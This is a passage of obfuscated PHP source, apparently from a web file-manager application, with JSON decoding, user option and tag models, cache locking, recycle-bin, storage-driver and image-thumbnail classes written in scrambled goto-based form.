(Services_JSON::isError($D܋)) { return $D܋; } return $this->encode(strval($dζݰ)) . $_SERVER[ȦÆ][4] . $D܋; } function reduce_string($d) { $b̂ =& $_SERVER[ȦÆ]; $d = preg_replace(array($b̂[1920], $b̂[1921], $b̂[1922]), $b̂[43], $d); return trim($d); } function decode($Eҳ) { $eؐ =& $_SERVER[ȦÆ]; $Eҳ = $this->reduce_string($Eҳ); switch (strtolower($Eҳ)) { case $eؐ[1570]: return !0; case $eؐ[1572]: return !1; case $eؐ[109]: return null; default: $cčҘ = array(); if (is_numeric($Eҳ)) { return (double) $Eҳ == (int) $Eҳ ? (int) $Eҳ : (double) $Eҳ; } elseif (preg_match($eؐ[1923], $Eҳ, $cčҘ) && $cčҘ[1] == $cčҘ[2]) { $d񍶼 = substr($Eҳ, 0, 1); $a = substr($Eҳ, 1, -1); $dʼn = $eؐ[43]; $A = strlen($a); for ($fۧ = 0; $fۧ < $A; ++$fۧ) { $b瑩 = substr($a, $fۧ, 2); $E = ord($a[$fۧ]); switch (!0) { case $b瑩 == $eؐ[1911]: $dʼn .= chr(8); ++$fۧ; break; case $b瑩 == $eؐ[1547]: $dʼn .= chr(9); ++$fۧ; break; case $b瑩 == $eؐ[1545]: $dʼn .= chr(10); ++$fۧ; break; case $b瑩 == $eؐ[1912]: $dʼn .= chr(12); ++$fۧ; break; case $b瑩 == $eؐ[1546]: $dʼn .= chr(13); ++$fۧ; break; case $b瑩 == $eؐ[1332]: case $b瑩 == $eؐ[1924]: case $b瑩 == $eؐ[1540]: case $b瑩 == $eؐ[1542]: if ($d񍶼 == $eؐ[122] && $b瑩 != $eؐ[1924] || $d񍶼 == $eؐ[65] && $b瑩 != $eؐ[1332]) { $dʼn .= $a[++$fۧ]; } break; case preg_match($eؐ[1925], substr($a, $fۧ, 6)): $Eˎ = chr(hexdec(substr($a, $fۧ + 2, 2))) . chr(hexdec(substr($a, $fۧ + 4, 2))); $dʼn .= $this->utf162utf8($Eˎ); $fۧ += 5; break; case $E >= 32 && $E <= 127: $dʼn .= $a[$fۧ]; break; case ($E & 224) == 192: $dʼn .= substr($a, $fۧ, 2); ++$fۧ; break; case ($E & 240) == 224: $dʼn .= substr($a, $fۧ, 3); $fۧ += 2; break; case ($E & 248) == 240: $dʼn .= substr($a, $fۧ, 4); $fۧ += 3; break; case ($E & 252) == 248: $dʼn .= substr($a, $fۧ, 5); $fۧ += 4; break; case ($E & 254) == 252: $dʼn .= substr($a, $fۧ, 6); $fۧ += 5; break; } } return $dʼn; } elseif (preg_match($eؐ[1926], $Eҳ) || preg_match($eؐ[1927], $Eҳ)) { goto Aܟ; AϷ: $a = $this->reduce_string($a); if ($a == $eؐ[43]) { if (reset($FȜ) == SERVICES_JSON_IN_ARR) { return $bѮú; } else { return $f݂; } } $A = strlen($a); goto e˪; Aܟ: if ($Eҳ[0] == $eؐ[163]) { $FȜ = array(SERVICES_JSON_IN_ARR); $bѮú = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $FȜ = array(SERVICES_JSON_IN_OBJ); $f݂ = array(); } else { $FȜ = array(SERVICES_JSON_IN_OBJ); $f݂ = new stdClass(); } } array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_SLICE, $eؐ[268] => 0, $eؐ[1929] => !1)); $a = substr($Eҳ, 1, -1); goto AϷ; e˪: for ($fۧ = 0; $fۧ <= $A; ++$fۧ) { $A֦ = end($FȜ); $b瑩 = substr($a, $fۧ, 2); if ($fۧ == $A || $a[$fۧ] == $eؐ[57] && $A֦[$eؐ[1928]] == SERVICES_JSON_SLICE) { $aϓĖ = substr($a, $A֦[$eؐ[268]], $fۧ - $A֦[$eؐ[268]]); array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_SLICE, $eؐ[268] => $fۧ + 1, $eؐ[1929] => !1)); if (reset($FȜ) == SERVICES_JSON_IN_ARR) { array_push($bѮú, $this->decode($aϓĖ)); } elseif (reset($FȜ) == SERVICES_JSON_IN_OBJ) { $EȾ = array(); if (preg_match($eؐ[1930], $aϓĖ, $EȾ)) { $CՋŃ = $this->decode($EȾ[1]); $eݵ = $this->decode($EȾ[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $f݂[$CՋŃ] = $eݵ; } else { $f݂->{$CՋŃ} = $eݵ; } } elseif (preg_match($eؐ[1931], $aϓĖ, $EȾ)) { $CՋŃ = $EȾ[1]; $eݵ = $this->decode($EȾ[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $f݂[$CՋŃ] = $eݵ; } else { $f݂->{$CՋŃ} = $eݵ; } } } } elseif (($a[$fۧ] == $eؐ[122] || $a[$fۧ] == $eؐ[65]) && $A֦[$eؐ[1928]] != SERVICES_JSON_IN_STR) { array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_IN_STR, $eؐ[268] => $fۧ, $eؐ[1929] => $a[$fۧ])); } elseif ($a[$fۧ] == $A֦[$eؐ[1929]] && $A֦[$eؐ[1928]] == SERVICES_JSON_IN_STR && (strlen(substr($a, 0, $fۧ)) - strlen(rtrim(substr($a, 0, $fۧ), $eؐ[103]))) % 2 != 1) { array_pop($FȜ); } elseif ($a[$fۧ] == $eؐ[163] && in_array($A֦[$eؐ[1928]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_IN_ARR, $eؐ[268] => $fۧ, $eؐ[1929] => !1)); } elseif ($a[$fۧ] == $eؐ[481] && $A֦[$eؐ[1928]] == SERVICES_JSON_IN_ARR) { array_pop($FȜ); } elseif ($a[$fۧ] == $eؐ[1061] && in_array($A֦[$eؐ[1928]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_IN_OBJ, $eؐ[268] => $fۧ, $eؐ[1929] => !1)); } elseif ($a[$fۧ] == $eؐ[320] && $A֦[$eؐ[1928]] == SERVICES_JSON_IN_OBJ) { array_pop($FȜ); } elseif ($b瑩 == $eؐ[1932] && in_array($A֦[$eؐ[1928]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($FȜ, array($eؐ[1928] => SERVICES_JSON_IN_CMT, $eؐ[268] => $fۧ, $eؐ[1929] => !1)); $fۧ++; } elseif ($b瑩 == $eؐ[1933] && $A֦[$eؐ[1928]] == SERVICES_JSON_IN_CMT) { array_pop($FȜ); $fۧ++; for ($EĎ༦ = $A֦[$eؐ[268]]; $EĎ༦ <= $fۧ; ++$EĎ༦) { $a = substr_replace($a, $eؐ[60], $EĎ༦, 1); } } } if (reset($FȜ) == SERVICES_JSON_IN_ARR) { return $bѮú; } elseif (reset($FȜ) == SERVICES_JSON_IN_OBJ) { return $f݂; } goto d͵ֈ; d͵ֈ: } } } function isError($d䐄, $a = null) { $Eĸ܊ĥ =& $_SERVER[ȦÆ]; if (class_exists($Eĸ܊ĥ[1934])) { return PEAR::isError($d䐄, $a); } elseif (is_object($d䐄) && (get_class($d䐄) == $Eĸ܊ĥ[1935] || is_subclass_of($d䐄, $Eĸ܊ĥ[1935]))) { return !0; } return !1; } } if (class_exists($_SERVER[ȦÆ][1936])) { class Services_JSON_Error extends PEAR_Error { function __construct($dÎӡ˘ = "\165\156\153\156\x6f\x77\x6e\40\x65\x72\x72\157\162", $A݃ = null, $F󷺵 = null, $Aܘƞ = null, $FП = null) { parent::PEAR_Error($dÎӡ˘, $A݃, $F󷺵, $Aܘƞ, $FП); } } } else { class Services_JSON_Error { function __construct($b퇤͡ = "\x75\x6e\x6b\156\157\167\x6e\x20\x65\162\x72\157\162", $f = null, $c = null, $F = null, $A‘ = null) { } } } goto Aݙ; b: class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\x65\x72\137\157\160\164\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($CϽ) { $bӊ =& $_SERVER[ȦÆ]; if (!defined($bӊ[432])) { define($bӊ[432], 0); } return "\x55\x73\145\162\x4f\160\x74\x69\x6f\x6e\137{$CϽ}\137" . USER_ID; } protected function filterWhere($Aĸ) { $Dˢ =& $_SERVER[ȦÆ]; if (!defined($Dˢ[432])) { define($Dˢ[432], 0); } $Aĸ[$Dˢ[1412]] = USER_ID; return $Aĸ; } public function cacheRemoveUser($Fů, $bҋ) { return Cache::remove("\x55\x73\145\x72\x4f\160\164\x69\157\156\137{$Fů}\x5f" . $bҋ); } protected function optionDefault($d = '') { $D =& $_SERVER[ȦÆ]; if ($d == $D[43]) { return $GLOBALS[$D[16]][$D[2508]]; } if ($d == $D[2509]) { return $GLOBALS[$D[16]][$D[2510]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\x65\162\56\164\141\147\114\151\x73\164"; public $modelType = "\x55\163\145\x72\x4f\160\164\x69\157\156"; public $field = array("\156\141\155\x65", "\163\x74\x79\x6c\x65", "\x73\157\162\x74"); public function listData($b = false, $B = "\163\157\x72\164", $c㘮 = false) { return parent::listData($b, $B, $c㘮); } public function remove($bݬ) { return parent::remove($bݬ); } public function add($eݣ, $Dꃡ = "\x6c\x61\x62\x65\x6c\55\x67\x72\x65\x79\x2d\x6e\157\x72\x6d\141\154") { $eɖ =& $_SERVER[ȦÆ]; if ($this->findByName($eݣ)) { return !1; } $E = array($eɖ[391] => $eݣ, $eɖ[442] => $Dꃡ, $eɖ[2078] => $this->getSort($eɖ[251]) + 1); return parent::insert($E); } public function update($D, $Aΐ) { $Cɭ =& $_SERVER[ȦÆ]; $cµ = $this->listData($D); $A = $this->findByName($Aΐ[$Cɭ[38]]); if (!$cµ || $A && $A[$Cɭ[372]] != $cµ[$Cɭ[372]]) { return !1; } return parent::update($D, $Aΐ); } public function moveTop($C⿊) { $C΄۸ =& $_SERVER[ȦÆ]; $Aޥ = parent::listData(); $Cę = $this->getSort($C΄۸[250]); foreach ($Aޥ as &$c) { if ($c[$C΄۸[372]] == $C⿊) { $c[$C΄۸[2095]] = $Cę; continue; } $c[$C΄۸[2095]] += 1; } return parent::resetData($Aޥ); } public function moveBottom($EȬ) { $cÈ =& $_SERVER[ȦÆ]; $e = $this->getSort($cÈ[251]) + 1; return parent::update($EȬ, array($cÈ[2095] => $e)); } public function resetSort($B٩) { goto Eٿ; eўĹ: return parent::resetData($dŶշ); goto b֐㉽; Fɛ: for ($A = 0; $A < count($B٩); $A++) { $c[$B٩[$A] . $bɂƎ[43]] = $A + 1; } $dŶշ = parent::listData(); foreach ($dŶշ as &$Fֵ) { $fϝ = $c[$Fֵ[$bɂƎ[372]]]; $Fֵ[$bɂƎ[2095]] = $fϝ ? $fϝ : $Fֵ[$bɂƎ[2095]]; } goto eўĹ; Eٿ: $bɂƎ =& $_SERVER[ȦÆ]; $c = array(); $B٩ = is_array($B٩) ? $B٩ : array(); goto Fɛ; b֐㉽: } private function getSort($c) { $dʣ =& $_SERVER[ȦÆ]; $Fൕӂ = parent::listData(); $fѶ = array_to_keyvalue($Fൕӂ, $dʣ[43], $dʣ[2095]); if (!$fѶ) { $fѶ = array(0); } $FƄӯ = $c == $dʣ[251] ? max($fѶ) : min($fѶ); return intval($FƄӯ); } } goto aѝ; F짭σ: function beforeShutdown() { Hook::trigger($_SERVER[صȢˏ][36]); } $_SERVER[$_SERVER[صȢˏ][37]] = BASIC_PATH; $_SERVER[$_SERVER[صȢˏ][38]] = LIB_DIR; goto C; aհ܎: class CacheLockRedis { public function lock($BŤ, $A娦 = 10) { $E = Cache::init(); $C = microtime(!0) + $A娦; while (microtime(!0) < $C) { $a놇 = $E->get($BŤ); if (!$a놇) { $f = $E->setLock($BŤ, $C, $A娦); if ($f) { return !0; } } else { if ($a놇 < microtime(!0)) { $E->set($BŤ, $C, $C); if ($E->get($BŤ) === $a놇) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($b) { return Cache::init()->get($b); } public function unlock($AƊ) { return Cache::init()->remove($AƊ); } } class CacheLockMemcached { public function lock($b눫, $A = 0) { $B³ = Cache::init(); $Fꠋ = microtime(!0) + $A; while (microtime(!0) < $Fꠋ) { $d = $B³->get($b눫); if (!$d || $d < microtime(!0)) { $Fۍح = $B³->handle->add($b눫, $Fꠋ, $A); if ($Fۍح) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($b) { return Cache::init()->get($b); } public function unlock($dД) { return Cache::init()->remove($dД); } } class CacheLockDatabase { public function lock($a, $Bʬ = 0) { $f = Model($_SERVER[ȦÆ][756]); $Fܷ޾ = microtime(!0) + $Bʬ; while (microtime(!0) < $Fܷ޾) { $aϨ = $f->get($a); if (!$aϨ || $aϨ < microtime(!0)) { $F¼ = $f->set($a, $Fܷ޾); if ($F¼) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($eݞ) { return Model($_SERVER[ȦÆ][756])->get($eݞ); } public function unlock($C˂) { Model($_SERVER[ȦÆ][756])->remove($C˂); } } goto e֮; C: class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\x75\162\143\x65\x5f\162\145\x63\171\x63\154\x65"; protected $dataAuto = array(array("\x63\162\145\141\x74\145\124\x69\155\145", "\x74\151\x6d\x65", "\151\x6e\163\145\162\x74", "\146\165\156\143\x74\151\157\156")); public function listData($e = false) { $b־ =& $_SERVER[ȦÆ]; $e = $e ? $e : USER_ID; $dͳ = $this->where(array($b־[1403] => $e))->select(); return array_to_keyvalue($dͳ, $b־[43], $b־[374]); } public function moveToRecycle($Cޥŕ) { goto A; Eѹʴ: $this->recycleMove($Cޥŕ, 1); if ($aޫב[$a[375]] == $a[93]) { $C䇉 = array($a[530] => array($a[488], $aޫב[$a[464]] . $Cޥŕ . $a[489])); $F->where($C䇉)->setField($a[402], 1); } goto aɘ; D΅: if (!$aޫב || $aޫב[$a[402]] == $a[93]) { return; } $aӡᘃ = array($a[388] => $Cޥŕ, $a[1403] => USER_ID, $a[526] => $aޫב[$a[376]], $a[527] => $aޫב[$a[461]], $a[530] => $aޫב[$a[464]]); $this->add($aӡᘃ); goto Eѹʴ; A: $a =& $_SERVER[ȦÆ]; $F = Model($a[1103]); $aޫב = $F->sourceInfo($Cޥŕ); goto D΅; aɘ: } public function clear() { $this->remove(!1); } public function remove($c̾ = false) { goto dڽ; F: $c̾ = $c̾ === !1 ? !1 : $c̾; $bܦ = array(); foreach ($Dʪ as $E) { if ($c̾ != !1 && !in_array($E, $c̾)) { continue; } $D->remove($E, !1); $a֖ = $this->where(array($B񤢥[374] => $E))->find(); $Dݩܨ = $a֖[$B񤢥[376]] . $B񤢥[80] . $a֖[$B񤢥[461]]; $bܦ[$Dݩܨ] = array($B񤢥[526] => $a֖[$B񤢥[376]], $B񤢥[461] => $a֖[$B񤢥[461]]); $this->where(array($B񤢥[374] => $E))->delete(); } goto dч; dڽ: $B񤢥 =& $_SERVER[ȦÆ]; $D = Model($B񤢥[1103]); $Dʪ = $this->listData(); goto F; dч: foreach ($bܦ as $A) { $D->targetSpaceUpdate($A[$B񤢥[376]], $A[$B񤢥[461]]); } goto Fߌ钵ދ; Fߌ钵ދ: } public function restore($c̔ = false) { goto F㲄; dՅ: $c̔ = $c̔ == !1 ? !1 : $c̔; if (!$B) { return !0; } $Dن = array(); goto cԣ; cԣ: foreach ($B as $e﷡) { goto EŒƼ; FﴫŶ: if ($c溂ʄ[$F[375]] == $F[93]) { $B = array($F[530] => array($F[488], $c溂ʄ[$F[464]] . $e﷡ . $F[489])); $A߇->where($B)->setField($F[402], 0); $this->restoreFolderChildren($e﷡, $B); } $this->where(array($F[374] => $e﷡))->delete(); $A߇->folderSizeReset($c溂ʄ[$F[466]]); goto e; EŒƼ: if ($c̔ != !1 && !in_array($e﷡, $c̔)) { continue; } $c溂ʄ = $A߇->sourceInfo($e﷡); $cщ = $A߇->sourceInfo($c溂ʄ[$F[466]]); goto Bޠ; Bޠ: if ($cщ[$F[402]] == $F[93]) { continue; } $A߇->lockMoveStart($e﷡); $this->recycleMove($e﷡, 0); goto FﴫŶ; e: $Dن[] = $c溂ʄ[$F[466]]; if ($c溂ʄ[$F[375]] == $F[93]) { $Dن[] = $e﷡; } $A߇->lockMoveEnd($e﷡); goto C; C: } $A߇->updateModifyTime($Dن); goto c; F㲄: $F =& $_SERVER[ȦÆ]; $A߇ = Model($F[1103]); $B = $this->listData(); goto dՅ; c: } private function restoreFolderChildren($bꜗ, $DͿ) { goto e骆П; A: $Cǃ[$FΟ[374]][1] = array_unique($Cǃ[$FΟ[374]][1]); $Cǃ[$FΟ[909]] = $FΟ[2154]; $e̎ӟ->where($Cǃ)->setField($FΟ[402], 1); goto D; dԜ: foreach ($DͿ as $A󛊘) { if ($A󛊘 == $bꜗ) { continue; } if (!$e̎ӟ->isParentOf($bꜗ, $A󛊘)) { continue; } $C = $e̎ӟ->sourceInfo($A󛊘); if ($C[$FΟ[375]] == $FΟ[93]) { $Cǃ[] = array($FΟ[530] => array($FΟ[488], $C[$FΟ[464]] . $A󛊘 . $FΟ[489])); } else { $Cǃ[$FΟ[374]][1][] = $A󛊘; } } if (!$Cǃ[$FΟ[374]][1]) { unset($Cǃ[$FΟ[374]]); } if (!$Cǃ) { return; } goto A; e骆П: $FΟ =& $_SERVER[ȦÆ]; $e̎ӟ = Model($FΟ[1103]); $Cǃ = array($FΟ[374] => array($FΟ[17], array())); goto dԜ; D: } private function recycleMove($Fۛ쵥, $B = 1) { $E˘ =& $_SERVER[ȦÆ]; $A幝 = Model($E˘[1103]); $f = Model($E˘[2330]); $f߂ = array($E˘[374] => $Fۛ쵥); if ($B) { $A幝->where($f߂)->setField($E˘[402], 1); $f->eventRecycle($Fۛ쵥, $E˘[2331]); } else { $dْϽ = $A幝->where($f߂)->find(); $bӄ = $dْϽ[$E˘[375]] == $E˘[93]; $Fݛ = $A幝->fileNameAuto($dْϽ[$E˘[466]], $dْϽ[$E˘[38]], REPEAT_RENAME_FOLDER, $bӄ); if ($Fݛ != $dْϽ[$E˘[38]]) { $A幝->rename($Fۛ쵥, $Fݛ); } $A幝->where($f߂)->setField($E˘[402], 0); $f->eventRecycle($Fۛ쵥, $E˘[2332]); } } } class StorageModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\155\x2e\163\164\157\x72\141\x67\x65\114\x69\x73\x74"; public $field = array("\x6e\141\x6d\x65", "\x73\x69\172\x65\115\x61\x78", "\x73\171\x73\x74\x65\x6d", "\x64\x65\x66\141\165\154\x74", "\x64\162\x69\166\145\x72", "\x63\x6f\156\x66\151\x67"); public function listData($a = false, $a냶ϗ = "\155\x6f\144\x69\x66\x79\124\x69\x6d\145", $d׊ = false) { goto c糖; A‘: return $Fʴ; goto BϿ; F: foreach ($Fʴ as $Dۚܺ => $fή) { unset($Fʴ[$Dۚܺ][$f鰄ő[16]]); $Fʴ[$Dۚܺ][$f鰄ő[2060]] = 0; } $c•ɔ = array_to_keyvalue($Fʴ, $f鰄ő[43], $f鰄ő[372]); $this->_listAppendSize($Fʴ, $c•ɔ); goto A‘; c糖: $f鰄ő =& $_SERVER[ȦÆ]; $Fʴ = parent::listData($a, $a냶ϗ, $d׊); if ($a) { return $Fʴ; } goto F; BϿ: } public function _listAppendSize(&$Bϸ❱, $C٤ͭ) { $fӃ =& $_SERVER[ȦÆ]; $Bʕ𰌙 = $fӃ[2333] . implode($fӃ[57], $C٤ͭ) . $fӃ[2334]; $DՊ = Model($fӃ[720])->query($Bʕ𰌙); $DՊ = array_to_keyvalue($DՊ, $fӃ[372], $fӃ[87]); foreach ($Bϸ❱ as $Cӓ => $E۝) { $Bϸ❱[$Cӓ][$fӃ[2060]] = isset($DՊ[$E۝[$fӃ[372]]]) ? $DՊ[$E۝[$fӃ[372]]] : 0; } } public function getConfig($E坒) { $Cǝћ = parent::listData($E坒); return json_decode($Cǝћ[$_SERVER[ȦÆ][16]], !0); } public function update($eؼ, $b) { goto b; Fþ: if (isset($b񇡈[$a]) && $b񇡈[$a][$B괫[372]] != $eؼ) { return !1; } if (isset($b[$B괫[2335]]) && $b[$B괫[2335]] == $B괫[93]) { $this->checkConfig($b); } unset($b[$B괫[2335]]); goto Aمڍ; b: $B괫 =& $_SERVER[ȦÆ]; $a = $b[$B괫[38]]; $b񇡈 = array_to_keyvalue(parent::listData(), $B괫[38]); goto Fþ; Aمڍ: $D = parent::update($eؼ, $b); if ($D && $b[$B괫[44]]) { foreach ($b񇡈 as $eċ) { if ($eċ[$B괫[44]] && $eċ[$B괫[372]] != $eؼ) { parent::update($eċ[$B괫[372]], array($B괫[44] => 0)); } } } return $D; goto e; e: } public function add($dߎ搓) { goto b۞; A: $this->checkConfig($dߎ搓); $A = parent::insert($dߎ搓); if ($A && $dߎ搓[$c[44]]) { foreach ($C as $B) { if ($B[$c[44]]) { parent::update($B[$c[372]], array($c[44] => 0)); } } } goto e; b۞: $c =& $_SERVER[ȦÆ]; $C = array_to_keyvalue(parent::listData(), $c[38]); if (isset($C[$dߎ搓[$c[38]]])) { return !1; } goto A; e: return $A; goto C׆ճΠ; C׆ճΠ: } public function checkConfig(&$Eª) { goto dϥ; dϥ: $dُ =& $_SERVER[ȦÆ]; $F = strtolower($Eª[$dُ[100]]); $dݝ = json_decode($Eª[$dُ[16]], !0); goto dƣ; BԎ: $FҮ = $dُ[81] . $Eچ; $F = new $FҮ($dݝ); if (in_array($F, $F->objectDriver)) { if (!$F->isBucketCors() && !$F->setBucketCors()) { $A꬘ = LNG($dُ[2336]); $A꬘ .= $dُ[2337] . LNG($dُ[2338]); show_json($A꬘, !1); } } goto a; dƣ: foreach ($dݝ as $Dͪٵ => $eߪ) { $dݝ[$Dͪٵ] = trim($eߪ); } $A瑤濖 = rtrim($dݝ[$dُ[1017]], $dُ[18]) . $dُ[18]; $Eچ = $this->driverType($F); goto BԎ; b֬: $Eª[$dُ[16]] = json_encode($dݝ); $Eª[$dُ[100]] = $Eچ; return !0; goto E٨쉂; a: $E􋭏 = $F->getPath($A瑤濖 . $dُ[1956]); if (!$F->mkfile($E􋭏)) { show_json(LNG($dُ[2336]), !1); } $dݝ[$dُ[1017]] = $A瑤濖; goto b֬; E٨쉂: } private function driverType($d꯷ԋ) { $f =& $_SERVER[ȦÆ]; $bΙ = array($f[111] => $f[2339], $f[68] => $f[2340], $f[74] => $f[2341]); if (isset($bΙ[$d꯷ԋ])) { return $bΙ[$d꯷ԋ]; } return strtoupper($d꯷ԋ); } public function driverListSystem() { $DȊ =& $_SERVER[ȦÆ]; $Fޥ = parent::listData(); $eֻ = array(); foreach ($Fޥ as $B÷ņ) { unset($B÷ņ[$DȊ[193]], $B÷ņ[$DȊ[116]]); $B÷ņ[$DȊ[16]] = json_decode($B÷ņ[$DȊ[16]], !0); $eֻ[] = $B÷ņ; } return $eֻ; } public function defaultDriver() { $d׉ =& $_SERVER[ȦÆ]; $E傪 = parent::listData(); $F湪ۑ = array_filter_by_field($E傪, $d׉[44], 1); $F湪ۑ = $F湪ۑ[0]; if ($F湪ۑ) { $F湪ۑ[$d׉[16]] = json_decode($F湪ۑ[$d׉[16]], !0); } return $F湪ۑ; } public function driverInfo($f) { $fȏ =& $_SERVER[ȦÆ]; $f㑅 = array_to_keyvalue(parent::listData(), $fȏ[372]); if (!isset($f㑅[$f])) { return !1; } $f = $f㑅[$f]; $f[$fȏ[16]] = json_decode($f[$fȏ[16]], !0); return $f; } public function remove($Bɇ) { $this->removeShareItems($Bɇ); return parent::remove($Bɇ); } public function removeWithFile($C) { goto f; f: $B =& $_SERVER[ȦÆ]; $cǢ = array($B[744] => $C); $F = Model($B[427])->where($cǢ)->count(); goto bۮ; bí: $Fⶪ = "\x7b\x69\x6f\x3a{$Cڑ҈}\x7d\x2f"; $A͸ = !0; $A = array(); goto eɴʄ; b: if (!$A͸) { $cݯ->stop($fڈ); return !1; } $cݯ->end(); $this->remove($C); goto d۰; eɴʄ: $A둴 = Model($B[173])->where($cǢ)->field($B[2345])->select(); foreach ($A둴 as $AĎ) { goto d; aԗ¬: $CȎ = array($B[744] => $Cڑ҈, $B[85] => $B); Model($B[173])->where($cǢ)->save($CȎ); goto b̬; d: $Aܻ = $AĎ[$B[85]]; $B = $Fⶪ . str_replace("\x7b\151\x6f\x3a{$C}\175\57", $B[43], $Aܻ); if (!IO::exist($Aܻ)) { $A[] = $AĎ[$B[424]]; $cݯ->updateFileEnd($AĎ[$B[38]], $AĎ[$B[87]]); continue; } goto A; A: if (IO::exist($B)) { $cݯ->updateFileEnd($AĎ[$B[38]], $AĎ[$B[87]]); continue; } if (!IO::move($Aܻ, get_path_father($B))) { $A͸ = !1; break; } $cǢ = array($B[424] => $AĎ[$B[424]]); goto aԗ¬; b̬: } $this->removeByFileID($A); goto b; cÑ: $cݯ->task[$B[699]] = (double) $e͓ˆ; $fէ = KodIO::defaultDriver(); $Cڑ҈ = $fէ[$B[372]]; goto bí; bۮ: $e͓ˆ = Model($B[427])->where($cǢ)->sum($B[87]); $fڈ = $B[2342] . $C; $cݯ = new TaskFileTransfer($fڈ, $B[2343], $F, LNG($B[2344]) . "\50{$C}\x29"); goto cÑ; d۰: } public function progress($fщ) { return Task::get($_SERVER[ȦÆ][2342] . $fщ); } private function removeByFileID($Bҏ = array()) { goto bҪ; bҪ: $A˒٘ =& $_SERVER[ȦÆ]; if (empty($Bҏ)) { return; } $e˃ = array($A˒٘[424] => array($A˒٘[17], $Bҏ)); goto C; C: $c = Model($A˒٘[1103])->where($e˃)->field($A˒٘[374])->select(); if (!$c) { return; } $c = array_to_keyvalue($c, $A˒٘[43], $A˒٘[374]); goto fҜ܎; fҜ܎: foreach ($c as $C׆) { Model($A˒٘[387])->removeNow($C׆, !1); } goto EƜ; EƜ: } private function removeShareItems($C쐤) { goto A④; A④: $c預ԉ =& $_SERVER[ȦÆ]; $cҐ = "\x7b\x69\157\x3a{$C쐤}\x7d\x2f"; $DϺݲ = array($c預ԉ[374] => 0, $c預ԉ[1011] => array($c預ԉ[752], "{$cҐ}\45")); goto bϋС; bϋС: $F = Model($c預ԉ[2051])->where($DϺݲ)->field($c預ԉ[446])->select(); if (empty($F)) { return; } $fȽ = array_to_keyvalue($F, $c預ԉ[43], $c預ԉ[446]); goto D៺; D៺: Model($c預ԉ[541])->remove($fȽ); goto Fۈ; Fۈ: } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\x65\155\x2e\x4c\151\x67\x68\164\x41\x70\x70"; public $modelType = "\x53\171\163\164\145\155\117\x70\164\x69\x6f\x6e"; public $field = array("\156\x61\x6d\x65", "\147\x72\157\x75\x70", "\144\145\163\143", "\x63\x6f\156\x74\145\x6e\x74"); public function listData($B = false, $AՖ = "\x6d\157\x64\151\146\171\124\151\155\x65", $dв = true) { return parent::listData($B, $AՖ, $dв); } public function remove($bパ) { $Dڇ = $this->findByName($bパ); if (!$Dڇ) { return !1; } return parent::remove($Dڇ[$_SERVER[ȦÆ][372]]); } public function add($Fڈ) { if ($this->findByName($Fڈ[$_SERVER[ȦÆ][38]])) { return !1; } return parent::insert($Fڈ); } public function update($fۉ, $b܋) { $F =& $_SERVER[ȦÆ]; $BǶ֍ = $this->findByName($fۉ); $fʢ؄ = $this->findByName($b܋[$F[38]]); if (!$BǶ֍ || $fʢ؄ && $fʢ؄[$F[372]] != $BǶ֍[$F[372]]) { return !1; } return parent::update($BǶ֍[$F[372]], $b܋); } } goto Dҷ; B: class ImageThumb { var $srcFile = ''; var $imgData = ''; var $echoType; var $im = ''; var $srcW = ''; var $srcH = ''; function __construct($E, $Dʘ) { goto f; EǼ: if (!$this->im) { return !1; } $D = $_SERVER[ȦÆ][43]; $this->imgData = GetImageSize($E, $D); goto e׉; e׉: $this->srcW = imageSX($this->im); $this->srcH = imageSY($this->im); return $this; goto E; f: $this->srcFile = $E; $this->echoType = $Dʘ; $this->im = self::image($E); goto EǼ; E: } public static function image($b郻چ) { $DԂ =& $_SERVER[ȦÆ]; $fŋ = $DԂ[43]; $bٚ = GetImageSize($b郻چ, $fŋ); $F = !1; switch ($bٚ[2]) { case IMAGETYPE_GIF: if (!function_exists($DԂ[1834])) { break; } $F = imagecreatefromgif($b郻چ); break; case IMAGETYPE_JPEG: if (!function_exists($DԂ[1835])) { break; } $F = imagecreatefromjpeg($b郻چ); break; case IMAGETYPE_PNG: if (!function_exists($DԂ[1836])) { break; } $F = @imagecreatefrompng($b郻چ); imagesavealpha($F, !0); break; case IMAGETYPE_XBM: $F = imagecreatefromxbm($b郻چ); break; case IMAGETYPE_WBMP: $F = imagecreatefromwbmp($b郻چ); break; case IMAGETYPE_BMP: $F = imagecreatefrombmp($b郻چ); break; default: break; } return $F; } public static function imageSize($C؈) { $eҕ =& $_SERVER[ȦÆ]; $dԖ = GetImageSize($C؈); if (!$dԖ) { return !1; } return array($eҕ[1837] => $dԖ[0], $eҕ[1838] => $dԖ[1]); } function distortion($D, $d, $bͧ) { $F⫹ = $this->creatImage($this->im, $d, $bͧ, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($F⫹, $D); } function prorate($Aԗ򈄈, $b₸׍, $BΠ) { $E = $b₸׍ / $BΠ; $A = $this->srcW / $this->srcH; if ($E <= $A) { $fܟ = $b₸׍; $CƐ = $fܟ * ($this->srcH / $this->srcW); } else { $CƐ = $BΠ; $fܟ = $CƐ * ($this->srcW / $this->srcH); } if ($this->srcW > $b₸׍ || $this->srcH > $BΠ) { $B = $this->creatImage($this->im, $fܟ, $CƐ, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($B, $Aԗ򈄈); } else { $B = $this->creatImage($this->im, $this->srcW, $this->srcH, 0, 0, 0, 0, $this->srcW, $this->srcH); return 